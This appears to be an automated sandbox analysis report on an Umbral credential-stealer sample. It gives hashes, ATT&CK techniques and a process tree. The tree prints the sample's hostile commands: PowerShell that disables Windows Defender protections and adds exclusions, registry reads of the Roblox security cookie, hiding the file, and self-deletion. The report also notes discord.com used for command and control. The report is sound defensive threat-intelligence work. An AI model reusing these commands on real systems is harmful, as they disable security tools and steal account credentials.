umbral | df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf

Analysis

max time kernel
137s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 21:53

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General

Target

df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe
Size

492KB
MD5

c6082923c754876542e9e9819763aa00
SHA1

1f6958604f623c279751c0ae84e1bbc46548de65
SHA256

df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf
SHA512

e65208f424b8da472eb0a30ec38d57a57e85e2f9247c31157e75e3a08710075ef02cfc25a650bb395326c9115d0f93d177472aeefeb76f54545d1b264b49ece5
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD4NkxjfVeGJqMFXSy3DoZb8e1mNiE:1oZtL+EP8NkxjfVeGJqMFXSy3DQrE

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1760-1-0x000002044B470000-0x000002044B4F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
996	powershell.exe
2688	powershell.exe
3600	powershell.exe
64	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
32	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4348	cmd.exe
1872	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3108	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1872	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe
996	powershell.exe
996	powershell.exe
2688	powershell.exe
2688	powershell.exe
3600	powershell.exe
3600	powershell.exe
3784	powershell.exe
3784	powershell.exe
64	powershell.exe
64	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe
Token: SeIncreaseQuotaPrivilege	4728	wmic.exe
Token: SeSecurityPrivilege	4728	wmic.exe
Token: SeTakeOwnershipPrivilege	4728	wmic.exe
Token: SeLoadDriverPrivilege	4728	wmic.exe
Token: SeSystemProfilePrivilege	4728	wmic.exe
Token: SeSystemtimePrivilege	4728	wmic.exe
Token: SeProfSingleProcessPrivilege	4728	wmic.exe
Token: SeIncBasePriorityPrivilege	4728	wmic.exe
Token: SeCreatePagefilePrivilege	4728	wmic.exe
Token: SeBackupPrivilege	4728	wmic.exe
Token: SeRestorePrivilege	4728	wmic.exe
Token: SeShutdownPrivilege	4728	wmic.exe
Token: SeDebugPrivilege	4728	wmic.exe
Token: SeSystemEnvironmentPrivilege	4728	wmic.exe
Token: SeRemoteShutdownPrivilege	4728	wmic.exe
Token: SeUndockPrivilege	4728	wmic.exe
Token: SeManageVolumePrivilege	4728	wmic.exe
Token: 33	4728	wmic.exe
Token: 34	4728	wmic.exe
Token: 35	4728	wmic.exe
Token: 36	4728	wmic.exe
Token: SeIncreaseQuotaPrivilege	4728	wmic.exe
Token: SeSecurityPrivilege	4728	wmic.exe
Token: SeTakeOwnershipPrivilege	4728	wmic.exe
Token: SeLoadDriverPrivilege	4728	wmic.exe
Token: SeSystemProfilePrivilege	4728	wmic.exe
Token: SeSystemtimePrivilege	4728	wmic.exe
Token: SeProfSingleProcessPrivilege	4728	wmic.exe
Token: SeIncBasePriorityPrivilege	4728	wmic.exe
Token: SeCreatePagefilePrivilege	4728	wmic.exe
Token: SeBackupPrivilege	4728	wmic.exe
Token: SeRestorePrivilege	4728	wmic.exe
Token: SeShutdownPrivilege	4728	wmic.exe
Token: SeDebugPrivilege	4728	wmic.exe
Token: SeSystemEnvironmentPrivilege	4728	wmic.exe
Token: SeRemoteShutdownPrivilege	4728	wmic.exe
Token: SeUndockPrivilege	4728	wmic.exe
Token: SeManageVolumePrivilege	4728	wmic.exe
Token: 33	4728	wmic.exe
Token: 34	4728	wmic.exe
Token: 35	4728	wmic.exe
Token: 36	4728	wmic.exe
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeIncreaseQuotaPrivilege	2992	wmic.exe
Token: SeSecurityPrivilege	2992	wmic.exe
Token: SeTakeOwnershipPrivilege	2992	wmic.exe
Token: SeLoadDriverPrivilege	2992	wmic.exe
Token: SeSystemProfilePrivilege	2992	wmic.exe
Token: SeSystemtimePrivilege	2992	wmic.exe
Token: SeProfSingleProcessPrivilege	2992	wmic.exe
Token: SeIncBasePriorityPrivilege	2992	wmic.exe
Token: SeCreatePagefilePrivilege	2992	wmic.exe
Token: SeBackupPrivilege	2992	wmic.exe
Token: SeRestorePrivilege	2992	wmic.exe
Token: SeShutdownPrivilege	2992	wmic.exe
Token: SeDebugPrivilege	2992	wmic.exe
Token: SeSystemEnvironmentPrivilege	2992	wmic.exe
Token: SeRemoteShutdownPrivilege	2992	wmic.exe
Token: SeUndockPrivilege	2992	wmic.exe
Token: SeManageVolumePrivilege	2992	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 4728	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	84
PID 1760 wrote to memory of 4728	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	84
PID 1760 wrote to memory of 2152	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	88
PID 1760 wrote to memory of 2152	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	88
PID 1760 wrote to memory of 996	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	90
PID 1760 wrote to memory of 996	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	90
PID 1760 wrote to memory of 2688	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	94
PID 1760 wrote to memory of 2688	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	94
PID 1760 wrote to memory of 3600	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	96
PID 1760 wrote to memory of 3600	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	96
PID 1760 wrote to memory of 3784	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	100
PID 1760 wrote to memory of 3784	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	100
PID 1760 wrote to memory of 2992	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	103
PID 1760 wrote to memory of 2992	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	103
PID 1760 wrote to memory of 3224	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	105
PID 1760 wrote to memory of 3224	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	105
PID 1760 wrote to memory of 2740	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	107
PID 1760 wrote to memory of 2740	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	107
PID 1760 wrote to memory of 64	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	109
PID 1760 wrote to memory of 64	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	109
PID 1760 wrote to memory of 3108	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	111
PID 1760 wrote to memory of 3108	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	111
PID 1760 wrote to memory of 4348	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	113
PID 1760 wrote to memory of 4348	1760	df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe	113
PID 4348 wrote to memory of 1872	4348	cmd.exe	115
PID 4348 wrote to memory of 1872	4348	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2152	attrib.exe

C:\Users\Admin\AppData\Local\Temp\df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe
"C:\Users\Admin\AppData\Local\Temp\df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4728
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe"
  2⤵
  - Views/modifies file attributes
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3784
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3224
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:64
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4348
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ba42012e626d8c04b25c5e8bcb49d58e

SHA1
4f542888067e87d2d4dd8ced7bc901abd60f819b

SHA256
0a3c73d3b3afc81747d415241a047a1cadd117a0536606b89e57ecf8836e40ff

SHA512
6678e24f430379c3c2ec0385fc02d0db9a65720072b57e4b36f23be65c82b4d3da2692e1bf0d575bdd59d5673fa1b64ab99d1881367af632bb89121b1981fe11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e0ec6bf376a6b15852bce768196c5ed0

SHA1
05fe4e592ebbb7e29f36b8d30a6a90ba29bd4f81

SHA256
2d4a39cbbd597a7cfff477817c3c7c541c14974c8d234b4c0de6d229e3a3ce97

SHA512
dc0c7d3d127c88affea9ae402d7358c079cfa7fc3ecb417085e31dc749da1406e72563bfbe42167fdad57e10aa0c6cca7a8ba06921b3a1212ad7ccee1a0f859b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lrwmgx3v.xfk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/996-4-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/996-5-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/996-12-0x000001429B5C0000-0x000001429B5E2000-memory.dmp

Filesize
136KB

Download
memory/996-18-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/996-3-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/1760-34-0x000002044D2E0000-0x000002044D330000-memory.dmp

Filesize
320KB

Download
memory/1760-33-0x0000020465C70000-0x0000020465CE6000-memory.dmp

Filesize
472KB

Download
memory/1760-35-0x000002044B980000-0x000002044B99E000-memory.dmp

Filesize
120KB

Download
memory/1760-1-0x000002044B470000-0x000002044B4F0000-memory.dmp

Filesize
512KB

Download
memory/1760-0-0x00007FFDBC993000-0x00007FFDBC995000-memory.dmp

Filesize
8KB

Download
memory/1760-71-0x000002044B9C0000-0x000002044B9CA000-memory.dmp

Filesize
40KB

Download
memory/1760-72-0x000002044D2B0000-0x000002044D2C2000-memory.dmp

Filesize
72KB

Download
memory/1760-2-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download
memory/1760-90-0x00007FFDBC990000-0x00007FFDBD451000-memory.dmp

Filesize
10.8MB

Download